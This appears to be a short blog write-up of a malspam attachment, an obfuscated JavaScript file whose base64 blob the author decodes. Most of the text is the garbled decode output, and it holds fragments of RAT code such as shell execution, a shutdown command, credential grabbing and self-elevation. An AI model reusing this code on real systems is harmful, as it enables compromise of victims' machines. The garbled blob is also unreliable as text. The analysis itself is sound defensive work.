Special thanks to one of my colleagues and @nazywam on Twitter that helped me with this. The Twitter thread about this can be found here. To obtain the Javascript file, see the Any.Run link here.
The other day (2019-08-20) while looking at caught emails in the SPAM folder, I came across this malspam that was referencing a request for quote (ala: RFQ). The email had an attachment to it that was Gzipped. Unzipping it I saw there was a nicely obfuscated Javascript file. Opening it up and looking through it, there was some clear text code that follows after a massive base64 encoded blob. Time to de-obfuscate the base64 blob.
Since I knew that the massive blob was a base64 encoded string, I ran it through Cyber Chef to see what it decoded to. To my surprise it gave me some things, but most of it was gibberish as seen below.
try{ var longText1/HVLÔÖ[YYÐÛ ÐÙÛVXÛMÕÞRYUÍÛÙUTVTÕT^SÕÍZXÝÝÖ[ÊÔUÖ^YUØÌUÛ^VULYT^SZÖÛZÍQ[TVSÍÕ^SRU^MU]ÖZÞSÖXÞTÕT]ÙQUQ]ÓÕ^SRU^MU]ÙQUQ]ÓÕSÑÑ[UXÍY[TÕ[ÛTÑVUÌY[SUÖTÑVUÙÓSÓÙÓ[TÕÙ VSJÔUMTÕTL UUÕÖLØÑÒUÚÚÙÙU[SQÙUÖLØL[U[ZÕLÌÔLXXQÓ[ÕÖ^ØLÛLQØÌ^UÖLØÌÌZÚÔÕT]ÖTÚUÌQÙU[R[ZÙØÓÕ[U[ÕULÔLØÑRÕÖ^ØLMTÕZÙUÔRÖ^ØQÓUZÛXQÔÎSØÑQZÍMVUÓQ^SLVÛÌSQÓSNVÕÚÓLTUÔÑL]ÕÌUØÌ\UÛZÔVÕÛPSQÙÔÑ[ÞÛÓÝÑM[ÕÕÌM^U\ÕÑ\ÖZXÌUUÎLÝÙQUQÙÛ[ÌQÙU[SRU^MU]ÙQUQ]ÓÕ^SRU^MU]ÔÌUÛZURUYØÌÕÛU ÒTUÕØÑÓUVLÕÕØ^TÛU ÔÌÓL^UÑR]ÕÍSØ\RUÜÌÔLXXQÓ[LZÚÖ^Ù[TSZÜÕT]ÖV^\ÞÖSLX[SZÔVUÕÌ]ØÞUÎRÍ\VL\ÙYUU Ó^ÔVZØÕUÜÌÔLXXQÓ[NZÔÑÖZØÕ[SQÙÓUM\VL\ÙÜÖYÕQÑÞLQÕÌ[UVUL[ U[UÜÌÔLÌ SÑUQ]ÓÕ^SQÙÑ\ÖÌQÓQ[UÛZU ÒUQ]ÓÕ^SRU^MU]ÙQUQÌV^ØQÒRÔÕT]ÖV^\ÞÖSLY[ÞÛÑÕÞNLØÑÑ[^ØQÓUZ^ ÒÑM]Û Ì^TÛXÍLÕÛØÑQYS[ÛÙZÝÛÔVZÙLU ÒÛTÙØÑÒUÚÚÙÙU[SQÙ[ZÖZÙ ÕÕÑÚÕÕÌXLRÑ\[LÒU[ÔÑ\Ö[LZÙZÝLRÖZÙ LTÖLÓÕÞ LXÌ[ÕXÑÒÑMÕÛÞÕXÚÙÙUXRLRÌÙÓ^[ZTÚUÑ]XÌV^ØQÒQÝÑ[QÙ[QTUÚÌTUT[ZXÖ[MXXÑÓÖUVVVÓQÓSL]ÕÛÓQVÕLÔÕSÙQÓ[MTLXXQÓ[ÚÖYÙU[SQÙÙÓ[TÕÙ[VLÓQÑÕ[LRÖZÙ LTÕÙU ÒÛÓL ]^ØÚÛXÌØVTÕZØL^UÛTUQÙ[ÑÕSÙQÓU Ò ]LQLUTÖLÓÕÙU]TLÌÛØ[QTÕÎSU^TÌSJÔUTÕYØÚÔÕSZÞXRU T[\Ñ[ÚÛNZUØÝÕ[ T[\Ñ[JÔUÌSJÔUTÕYØÚZ ÒLÓÕÙU]TLÌÔLXXQÓ[TVÖLJÔUMTÕTQTÊÔUÓ[TÕÙLÍYÓ^USv´ã5£$ä &æÅ¥g¤'¥5V3VEgõ e¤ÖÅS5&GtÖÆÅ5vF g¥gE5Uu£Ç5FDF&Çõ&Ä4Õt×6ç¥4W5ufE64t§E&EW£B´¥vĦääŤsvUVÄF¤%¥tV÷uv¶DtÔgE£FÄõVÄE5vÅC#ÅD³DõW TÔ %W¤UDeu£·õwFS£e¤VDvUu$E£FÄõW TÔ %W¤UDevDd%DÔFÄÕdD#Td×tõW TÔ %UsÅf3VÕ$ &åe¤ÖÅge3'¥3çU¤s c653 6Uu% e&ÆC#µ¤V´åuc6#Ec'¤å6t¤C#ÅdäÅ&G%6ÔçEfç¥'¦Ã¤¥e£%E£FÆVÇ3D¥£B´¥vD¥£B´¥vD¥£UvÆöC$åW£B´¥FÄ¥4T£%¤å%£DE6ä&¦UDcUvÆDv%eE5ä¦VÇuC6Ge6´å Få&£B´¥FÄ¥4W5¤ä6FÔ§UF×Ö&³S5¶G4ÔWDFæF#'wuvƦ4S6#EtSG¥f 6ÔdFwc¦EUv4uc6#&D¥£B´¥vD¥£B´¥vD¥£B´¥vD¥§ufö$VÄE6×F tSW¤Eg F¤$¦ÓÅg%6´åE£FÅ£ Fצ%w5¤TÓTu%$D$Å'35&G%6´å&&D¥#UvÆDv6³6#EUwufö$VÄE6æÆc%¤å&Sæ#EUwDµ5Tä6VÔd fäæ'¦Çv³Uu%äs¦e§¤VÔä f×µW£B´¥ ¥¦UT£eV tÔgõDæCB´¥ ¦¦CB´¥ ¦µ£B´¥D¥¦ÇE5vÃ5£ÅÉM½á]±9É8Á9¹ÁÁU]ѹMU-YÁaI¹)AÈå-DÅÍ ±±eQµá)DÁöYUhWMFpHOTNiaUk2Q2drSkNRa2dJSE5vWld4c2IySnFMbkoxYmlnaUpXTnZiWE53WldNbElDOWpJSE5vZFhSa2IzZHVJQzl6SUM5MElEPj4lZ0wyWWlMQz4+JXdMQ0IwY25WbEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR05oYzJVZ0ltVjRZMlZqZFhSbElqb0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdjR0Z5WVcwZ1BTQmpiV1JiTVYwN0Nna0pDUWtnSUdWMllXd29jR0Z5WVcwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlhVzV6ZEdGc2JDMXpaR3NpT2dvSkNRa0pJQ0JwYm5OMFlXeHNjMlJyS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0puWlhRdGNHRnpjeUk2Q2drSkNRa2dJSEJoYzNObmNtRmlZbVZ5S0dOdFpGc3hYU3dnSW1OdFpHTXVaWGhsSWl3Z1kyMWtXekpkS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV=[Ö^ÞÔ^ÕÕÙZÞÕÌXXÖ[LUUN[UÝÔÕSÙ[USLÕÕÌRØÓQÜURU]ØÌÛ\URUÌUÓÖLÕÛÑNLØUÝÔÕSÙ[USLÕÕÌRØÓXZÓÌÛ\URUÌUÓÖLVUZÙRÛLQÚÓ[TUÕØUTÕÎR^ZÙØU^UÞSUÝUÖYU^UÒÕÚÕÑNLØUÝÔÕSÙ[USLÕÕÌRØÓTÕÎVZÜÖ^UÞSUÝUÖYU^[\URUÝÝØÑNLØUÝÔÕSØUÓZ[LQÛÞTU^ ÒÛÕÑRÕØ[XUÝÔLSJÔULÙUQÙULUÛÙ^SU^Ù[TTÕÎZLÍYÓ^UÛÕQTLÔÕSF¦DE£'Dµg%£Äõ fg¦ÃuD¥fEf·T ¦¤ÖÅge3'¥3å&EW£B´¥vFÖ¥g5¤ÇE£FÄõVÄ vä&#£e¥fôÔgÕ ¥¦%s¤ä6$t§5V×Å4d¤ fCF$WD$ f¤Ó¦õ¶CF$e5vDÆUT§uÓTôÔfÅTæ%U£vÄÒµg¥EvÃ5£E&äæ¤ÖÅguC6Ge6´å&¥£%ÓvFÔ§EF×Ö&Õ#Uf 6$WDÖ¦%U£3'¥3å&EW£B´¥vFÖ¥g5¤ÇDåw'¦ÃevÄææ4S6#EUwDµ5Tä6VÔd fäæ'¦Çv³Uu%äs¦&Õ#euDä¶4täU ftv55TÓFFÄgÔä¦VÆå36Ä64t§UF¤%¥c6¥v¶G6UVÄF3&F g¥ce¤VDv3$¤åvcfå36²µgtTä¦WEV3DEUwDµÒµfåf¤döÔçF$Fµ¥cE¤fG4ÔWDF¦DE£'DµDöt×evD¦&Å£f3VÕ$ &äæ³%&G%6´å&&D¥4e£f3VÕ$ &äæ&GuC6Ge6´å&¥§#vtcf3DEUwDµuD¤vVÇE£FÆu%£FÆDt§ÕwÅ#§5we3å&EW£B´¥vF'¦·¥ÓFFÆÅ Us¤Ö¤g%c7u¤W Få&&äãUtdç$ãææEUwFå5VD¶Ug &ä¥C#µg6ÆÅF×¥#6EgTÕæÖÔçC&Ge6´å&¥ CFFÆÅ Us g¥ce¤VDv3$¤ Vä&¦CB´¥¤¥÷¥¤¦ö3$¤&æG5T祣·ÕwEVµ¦µDTÒµg¤VDv6ÇDÕæÖÔç3'¥3å&EW£B´¥vE¦&·5ufG¤ãææEcVõ¤¥e£ÇEV妴֥#Ö·$ud fצÓÅg%6´åE£FÅ£$×$D&c£%¤D3$&×FtVÇeuDCe&Õ$Õ#ÔÁ]iéY¡Q éhÉÑ-DÅÉhÁ±!M¹± XÁiåPÍÙM9IÁi]ÕÍMU4A¥YÁ]´ÅÍÅÁa5]¡¥UiÕ]±¡) Tå¹ÁÁU]Ñ-MU9 ±ÁeM©)¡XÀÕÍeé9M 9ÕUµá© ]¡Åe±Me¬Å]5!9)DÁÁÑe±5áÉ)%Y´Õ¡YéHÅ]±¡½±ÁÉ¡YéYÑe©9-±eU¹ ¥5©IÙLÅ9É8Á9¹ÁÁU]ѹMU-YÁaI¹)AÈå-DÅÍ ±±eQµá)EèÐ)]±©Y(ÍM]ÁÙLÁ9IÁÁUèÐ)]©5±hÕiÅÍ ±ÁeQ© i]½Ý]±¡)Åå5]ÑaiQ4A¥YÁdÈÅI9! 5µàÅQÅ]9ÁQMa9)HÉàÅ]´ÀÕ])aI© ¡Yé°ÅLÁ9ÉäÍÁÁU]Ñ-MU9 ]9ÑYµ¡¡¹91DÅÉM±åI¹Á UèÐ)])aIÍiYѱ½åiá© U¬ÉDÉÉM9IÉ)HÍIÍiYѱ½åiᩬÑÝ]Y¡-5ÁeM\åi5©ÉXÍÁiáA¨Ñ± ]åÍI©HÍá]©)ÍUáÑY©I TÁ±éMUÍYÁÑ=a±¥XÁeÝeYÕUÑÍ9)IÐ)a AÈå-DÅÉM±Eµ±©Yi½eaÁéLÁ9IÁÁi5hÙ]±4A¥Y¹M\õbVpteHBibVV0YTJWNWJHOW5aMlZ5SWpvS0NRa0pDUz4+JWdhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0|ÕØÑÒ^SÎSLÙLUÝÕYÙURÔLQØ[U^^ ÒÛß%¤Däö$W T ¦ÓÅÁPÉÙM9IÁÁ)DÁ(Íe©9=5ÑM¹ ©Qée©)±ÁÉ YéUáe± ÁÁ ! ¥¬ÑÝ]YÑÅÁ!!±)DÍ9¹M\Õµ!!i 4ñpS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZMjFrTFhOb1pXeHNJam9LQ1FrSkNTPj4lZ2NHRnlZVzBnUFNCamJXUmJNVjA3Q2drSkNRa2dJSEJ2YzNRb0ltbHpMV=LÚÓ^[QTLÕ^L^XQÞTÙLÙURLQÚÓ[TÛ^ÓLÔLÚÓZ[ÕSØUVÑ_%uD¥vVÔ×fç¦ÓÅg%6´åE£FÅ£$äõµ&GfæDtä6奤ÖÅ£e¤¥vV¶ÇC&Fg¥W Æ6UtFפÓÅÙLÅ9É8Á9¹ÁÁU]ѹMU-YÁaI¹)AÈå-DÅÍ ±±eQµá)EèÐ)]± HÉàÙ]Y-ÅÁQ5QiXñpT2dvSkNRa0pJQ0JrYVhOaFlteGxVMlZqZFhKcGRIa29LVHNLQ1FrSkNTPj4lZ2RYQmtZWFJsYzNSaGRIVnpLQ0pWUVVNclJHbHpZV0pzWldRcktGSmxZbTl2ZEN0U1pYRjFhWEpsWkNraUtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYUdWamF5MWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LR1pwYkdWemVYTjBaVzF2WW1vdVptbHNaVVY0YVhOMGN5aGpiV1JiTVYwcEtYc0tDUWtKQ1FsMWNHUmhkR1Z6ZEdGMGRYTW9Ja2x6SzBWc2FXZHBZbXhsSWlrN0Nna0pDUWtnSUgxbGJITmxld29KQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpVG05MEswVnNhV2RwWW14bElpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYjNKalpTMWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LRmRUWTNKcGNIUXVRWEpuZFcxbGJuUnpMazVoYldWa0xrVjRhWE4wY3lnaVpXeGxkbUYwWldRaUtTPj4lOVBTQjBjblZsS1hzS0NRa0pDUWxwWmlobWFXeGxjM2x6ZEdWdGIySnFMbVp2YkdSbGNrVjRhWE4wY3loamJXUmJNVjBwS1hzS0NRa0pDUWtKYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpGc3lYU3dnTUN3Z2RISjFaU2s3Q2drSkNRa0pDWFZ3WkdGMFpYTjBZWFIxY3lnaVUxVkRRMFZUVXlJcE93b0pDUWtKQ1gxbGJITmxld29KQ1FrSkNRbDFjR1JoZEdWemRHRjBkWE1vSWtOdmJYQnZibVZ1ZEN0TmFYTnphVzVuSWlrN0Nna0pDUWtKZlFvSkNRa0pJQ0I5Q2drSkNRa2dJR1ZzYzJWN0Nna0pDUWtKZFhCa1lYUmxjM1JoZEhWektDSkZiR1YyWVhScGIyNHJVbVZ4ZFdseVpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbVZzWlhaaGRHVWlPZ29KQ1FrSklDQnBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1FrSkNYUnllWHNLQ1FrSkNRa2dJRzl1Wlc5dVkyVXVZMnh2YzJVb0tUc0tDUWtKQ1FrZ0lHOXVaVzl1WTJVZ1BTQnVkV3hzT3dvSkNRa0pDUz4+JWdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSWxOb1pXeHNMa0Z3Y0d4cFkyRjBhVzl1SWlrdVUyaGxiR3hGZUdWamRYUmxLQ0ozYzJOeWFYQjBMbVY0WlNJc0lDSWdMeTlDSUZ3aUlpPj4lcklGZFRZM0pwY0hRdVUyTnlhWEIwUm5Wc2JFNWhiV1VnS3k+PiVpWENJZ0wyVnNaWFpoZEdWa0lpd2dJaUlzSUNKeWRXNWhjeUlzSURFcE93b0pDUWtKQ1M+PiVnZFhCa1lYUmxjM1JoZEhWektDSkRiR2xsYm5RclJXeGxkbUYwWldRaUtUc0tDUWtKQ1FsOVkyRjBZMmdvYm00cGV3b0pDUWtKQ1gwS0NRa0pDUWxYVTJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKQ1M+PiVnZlFvSkNRa0pJQ0JsYkhObGV3b0pDUWtKSUM+PiVKSUNCMWNHUmhkR1Z6ZEdGMGRYTW9Ja=^UÙÔVTV^UÕØÖRÔLQÚÛZÔLQÛUUÙÚÓÜÑM\ÔÕSJÔUUQÞØV]ÕÛÓLUÝÕYØ]ÖLÖLTÛMZÕÖ[MTÙZÞÚUVÝÓÑUUÙÛ ÔUQÌSJÔUMUQØRULÌÔLÚÓLL^LØQÔÔ]ÖVVS^VÕÚÖÌQÓQUÛLQÚÓUÝÔÕSØÒU^RÔLQÚÛÚÛZRÖYÙ[TÕÑL]ÕÝØÌÔLÔÖZÙÓ[U[^TLÕÙÚÓLLMTLÚÓL UÛØÚÎLØUÞUÕØ[UÑ^XT^ÖL X[U[NSLQÚÓ\XRÔÑRVZØÓ^ÎVZÜÖ]XÌUÝÔLSJÔUÕÍRØÞÔLYØQÓ^UÙL ZÙØÓÕÔLQT[ZVÕT]ÖZÞSUÝZÖÕÙÚÓLLZÙØÓÕ[ÙLÙUR[ÕSJÔUÕSJÔUÕSJÔUÕSJÔUÕSJÔUÕSØUÓZ[LQÓÕSLÍUÕÓQÞVXUÑ[Ö]ÔÌÖLÖLÓ^YQÞUÑ ÒÎZ[ÕÛÊÔUÕÙÓÕSÑÌZÕVYÙR[XÍÕÕ Ì^U[LÌÔLÓQÓXÖÌQÙU[U]LVVZÓJÔUMTÕZÙS^UÎRÚÞ[ÌT^ ÒÛUÜÌÔLÛTUÌ[ÓQÔT[]SLVZØÍXQÕ[ÖLÖL^Û^ÑÕØÕL^ÙÒTÖUZÓQÓÖRÔLXÍXUÑQÔÑRZÙÒÕÚT^LÙ]ÛMXUÑSÙ[ÕYXQÒU^LQÙÑÎZÔÑÕÚØÍSLRQV^ÓQÕVUØ[^UÙÕØ[QZVZÙRXT^ ÒÛULØSRUÜÌÔLÛR^TÛÑ]ÖLÙT^SSZÖÍSØÒUÎSLÛQÕÎXXÞÛÓÓ^[^UUÚÌXÑQÞÕÑÚÖ^ÙZÝLRÖZÙ LTÕÙU ÒÛÓL ]^ØÚÞXÒLÔÌZÌLXÞÛÓÓ^[^UUÚÌXL\QÞÔVU ]LRÖZÙ LTÕÙU ÒÛÓL ]^ØÚÞXÒLÕÙÚÓSQ]UÝLÛQÕÙUÌ[ÓQÔT[]SLVZØÍXQÔ]ÖPSQÙZ ÒÒLQU[ÒLQZÑ[ÕXÍXUÑUÖ[ÙT^SSZÖÕT]ÖV^\ÞÖSLTÓZÔVUÕÌ]ØÞUÎRVZØU^UÖ[ÑNLØ^ ÒÙUÍSÓQÓZURLXÌ^T]XLVLPQNMTÌLLÕÌ]Ù[TTÛ^ZÙÒÕÚT^VLÙ]^ÔÕSJÔUZØÕÓ^[UÚØÍSLRQUØÑÔÎZSZÜUZÓQÓ[ÓZZØLTÛ^L[MSØÕÝLÌÔLÚÛ^TÛLRUÛÙÕXÕ^TU[L\ØÌ\RXÍÕÕ Ì\LÓÕÍZÙ[QU]ULUÊÔUÌTÌLLÕÌ]Ù[TTÛ^ZÙÒÕÚT^VZØÍY[ÐRÔLSJÔUÕXÍXUÑUÖ[ÙT^SSZÖÕT]ÖUTLQSUÜÑVUSØÕÔLQÚÓÑLQØÑQÌZÚÖ^Ù[TSZÜÌXXÑÒÖ ZÔZÙØÑÓÚÛÚ[Z ÚÙÕUÝÖÚÓLÖSLVVÌ\ÙU[NXULU ZÊÔUÚÓXÖLØÑÒUÚÚÙÙU[ÌTUZØLSÑ ÒÛTLÚÙ[U[NSLQÛTT[]ÑÖ^ØQÔULUZÕÛÔZÙØL^ÖÛVZÔ ]ÌÙUÓUVMTLØÔÜÔ[[ØÑÒUÚÌÓUÛZUR[LLÖLØÑQÞXVÛÌ\ZÙØÓÚUULÔLXXQÓ[LZÚÖUÙRXÌØVTÕYYR[^ÞVZLÑÑMÕÕÓQ]^ÐZRVUJÔUMTÕXÌXÔTZÖXÛØQÔÖ\ÖZÙÙ[UUUÕÌ]TÛØÌT[^ÖUÙÐURL\ÒÕUÖZÖLØLU^ ÒRVULXÑÔLÌÔL\Ø[QÝÝÞUÛLXÑÓ^Û^RLTÕT]ÓÕ[U[ÕUÖØÑ\TÛØUÛMRØU \ÔÕTLE£FÆ4uc64&CB´¥s4Wu¤sfEg6ä&¶%eu¥f6$VÄTÔFÄ¥$Ufå3¥3åVæÆÅtäÅg6%teTw¤Ó'e¤VEvDt6ädÖ%SS%5#$eTwÅ&Õ%UuDä¶4täU f¤Ö³SUf4Ôd§Ufäæ%EfõÆEe£E×F¦%wwvÄÓCÅVÓ¥4æå5wEÇ£FÆ6¶Ä$ f¤Ó¦õ¶CFEfÅÕwÕ4d£U¤fEf4S6#Ec'E5Tæö%teTw¤Ó'e¤VEvDt6ädÖ%gu¶Eu&Õd$µ4Så3E6Utev×Ö&´¦õ¤VFå£CU£FÆfvC&Ä¥4æåf3VÕ$ &äæ'¥fõÆEf4WE3DEUwDµvÓ63F¥f¤Ó§5Æ3VtgåsVtd¤ fCF$WD VæÆ tg5DsT6u$ £&DÆUCB´¥vÅ&æG5TÒµg5VG6Et×¥VÖ#6uf7$WEDåvµ4d£UfD´Õu$ fç¥$D&åEvǤÔS6#EtD$ÅwÆÅV× &5fGtÕWEDFÄFCB´¥vD¥§E¤ä¦#%'E&æÄ¥#u5Uu£$§Ef¤ä¥%e£¤f7$tçE&¤&ÓÇevÓ63F¥f¤Ó§5Æ3VtgåsVtd§E¤£F5s4Wu¤sfEtä &¤& £B´¥¤¥¥tTä¦4WEvä&#£e3'¥£Å vä$Ö%UuVÆ3DF¦D¥#uDsFÕ'Ef³tvwu3ç&4uc6#Etd£U¥f¥3å&$D¥¥tVÆåvÓ63E£FÄõVÄ vä$Ö%wwuvÆ7v#EV3D¥£B´¥vD¥£B´¥vD¥§uvÖ²µge¶36ÇF$æW£B´¥FÅS§EufCFVÇF$FE¦&·5ufG¤ã%¥&#&D¥£B´¥vD¥£B´¥vD¥#'E5Tæö%teTwÖ%EfõÆEfEteåwFtv vÖÆæW5$ÅtäÅ5TÒµfå5TÒµfå5TÒµfå5TÒµfåfE¥£DFs c65Dst¥ e f¤Ó§¥f &#ÇävÄÅfå'EfCF$WDåvcc¤ä63$eUs¦E'3Ó3åsVµ#&FåDdÒµcEtdç&Eu$õSÓ%'5'Döt×esÅW£B´¥v W£B´¥vÆ'¥g5vÇ4ãç£FÅ£ÄE£FÅ£ÄE£FÅ£ÄE£FÅ£ÄE£FÅ£ÄEÓ c65DstÔu$6ä%¦&ÅuvÆå£%E£FÆUWCeUFDFCB´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥§uvÖ²µgevÓ63Då e¥g¤g5DsU6FÅ¥æFtWUufö$WDF&D¥dD&åf3VÕ$ &äæ'¥fõÆEfEu$õe¦¥4T§5'Döt×esÅS's5&²µfå5TÒµfå5TÒµfå5TÒµfå5TÒµfå5TÒµfå5TÒµfåvÓ63åvcfåTdä6%teTwÖ%EfõÆEfEt×¥äæ tdge5v³WEV3D¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥§¥ÓFÆÇF#&ES£eVEv3$¤õvÆEg#vu$ fÅ& '¦ÃU¤VDôÕu$FwF¦%wwvÄÓCÅVÓ¥4æå5wEÇ£FÅ£CUÓ c65ÓvDgv36EW£B´¥¤¥Ã¶36¶Ç¦DFCB´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vF'¥g¤¤¶5WU¤&%d£%¤DdôÔueTw¥$D&åFç¥3ÄE£FÅ£ÄE£FÅ£ÄE£FÅ£ÄE£FÅ£ÄE£FÅ£ÄE£FÅ£ÄEäæ% #%usfEu$ &æÆÖÅueVDtÔtdE£FÄõVÄE6×ccvÆö$VÇ3D¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥§¥ÓFÆÇF#5f´Ö¦ÃUD§6Ef÷uVä&¦%e§¤V3VUueE£FÄõVÄE5vÅC#å5TÒµfå5TÒµfå5TÒµfå5TÒµfå5TÒµfå5TÒµfå5VCFEtWõvÆEfõ#´Õt¥ fåfµ4SåTdÒµgDD¤å£$×¥VÖ¦&Äfå5v²µg5VG6Et×¥VÖ#6uf7$WU6×¥#6õuD¥f#$§Ef¤ä¥&·5v¤%tätäE£&ĥǥ5Tä¶&¶Ç4䥥5vÄ5Ç5$¥4æå5vÆVÕ$ &æƵ£B´¥vÄ¥4æåvÓ63Då e¥g¤g5DsT¶$täTv ¤ÖÅgeÓtÓÄu6×ÔeææVÄE5ä¥U5vÇ&3ÄE6Ôä¦T¦¥5vĦ4VÄF3&Ķ%ef &S6#&D¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥£B´¥vD¥4d£U¥f%teTw cÔÉeµ¬A¥TÕMU¡=ÅÁa!9¥5ÁáQá-½áMµáiXŹLÁ9-MY5ÝY±Áe5!¡EUQ QYÝ5U)I5¡-YÑ]dÅ¡%Q¹i ±%é]Y¡-¡Á¥HÁhÙeé)]±¡É±)DÍ9¹eé)½)!!ii\äÅY\Å]±YÑYµ¡ EèÐ)\å)É¡5U±iÍi±I=UIIYa¡µYYI9åMY¹¡©eé$Õ]I%i¡©Yi©]=űeQ¹Á ]Õ©]4Á U±É ]áé]±4ÅY±a5]á5¬ÔÍeÍ5ÑMaY) ]á¥]´ÅÍÅÁQ9aYiYéÍQÕ=É)! 1DÁ°ÅM]±É])!Y¹Y 4Å)ÙMU5ÝhÀÅ]5!))DÁÁ©]9)±É)!¡©]]Y±eY¹9HÉáÅe©$ÅdÅ¡Ma AU$Õ]Q)5åhÈå XÅiÍ]±9Í8ÉiIÉ)EèÐ)])EèÐ)])EèÐ)])EèÐ)])EèÐ)])EèÐ)])HÉáÑMU9½]aá¡Xõ2Ymk1cGJtUmxlRTltS0NJc0lpa2dQVDBnTUNsN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWFXTnZia3h2WTJGMGFXOXVJRDBnWm1sc1pTNXdZWFJvT3dvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lIMWxiSE5sSUhzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ2JHNXJiMkpxTG1samIyNU1iMk5oZEdsdmJpPj4lOUlHWnBiR1ZwWTI5dU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSDBLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCc2JtdHZZbW91YzJGMlpTZ3BPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdmUW9KQ1gxallYUmphQ2hsY25JcGUzMEtJQz4+JWdJSDBLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwwY25sN0Nna0pkbUZ5SUdadmJHUmxjaT4+JTlJR1pwTG1sMFpXMG9LVHNLSUM+PiVnSUM+PiVnSUNCcFppPj4lb2JHNXJabTlzWkdWeUlEMDlJR1poYkhObEtYdGljbVZoYXp0OUNpPj4lZ0lDPj4lZ0lDPj4lZ1ptOXNaR1Z5TG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdabTlzWkdWeWJtRnRaUz4+JTlJR1p2YkdSbGNpNXVZVzFsT3dvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk+PiU5SUhOb1pXeHNiMkpxTG1OeVpXRjBaVk5vYjNKMFkzVjBLR1J5YVhabExuQmhkR2dnS3k+PiVpWEZ3aUlDPj4lcklHWnZiR1JsY201aGJXVWdLeT4+JWlMbXh1YXlJcE95Pj4lS0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWQybHVaRzkzVTNSNWJHVWdQUz4+JTNPd29nSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTUwWVhKblpYUlFZWFJvSUQwZ0ltTnRaQzVsZUdVaU93b2dJQz4+JWdJQz4+JWdJR3h1YTI5aWFpNTNiM0pyYVc1blJHbHlaV04wYjNKNUlEMGdJaUk3Q2k+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbUZ5WjNWdFpXNTBjeT4+JTlJQ0l2WXlCemRHRnlkQz4+JWlJQ3NnYVc1emRHRnNiRzVoYldVdWNtVndiR0ZqWlNodVpYY2dVbVZuUlhod0tDSWdJaXdnSW1jaUtTd2dJbHdpSUZ3aUlpa2dLeT4+JWlKbk4wWVhKMElHVjRjR3h2Y21WeUlDSWdLeUJtYjJ4a1pYSXVibUZ0WlM1eVpYQnNZV=\ÔÌÌXÔT[UÖYÊÔUÕÚÊÔUSJÔUÛÑ^UÕÙTLÌSJÔUTÕÛXÕ[ÕSJÔUÕSJÔUÕSØÒ^YQÝUÑ\ÕÕMY[SQÙ[ZÖZÙ ÕUÌUØQÕVMU]ÕÒTÕUÔÕVT ZSQÔ^TUÕQÓ^^VÛOV3 fæÅ&æ%vÆFu%TD& cÔÉeµàÑdÁ±Á é)A¨Ñ±É)EèÐ)])EèÐ)])HÉáÑMU9½]%åÑ ]ÁÝ]Q$ÕUáÑ!Y HÅdÁY)iÁ±Áɱ1UèÐ)Q±EUèÐ)a1]!91MU4A¥Y¹MU4A¥Y¹MU4A¥Y¹MU4A¥Y¹eŵ%åM¹5]áÅe©$ÅQ]%åQµ¡HÉàÉeµ¬A¥TÕMU µ)!Uµá© 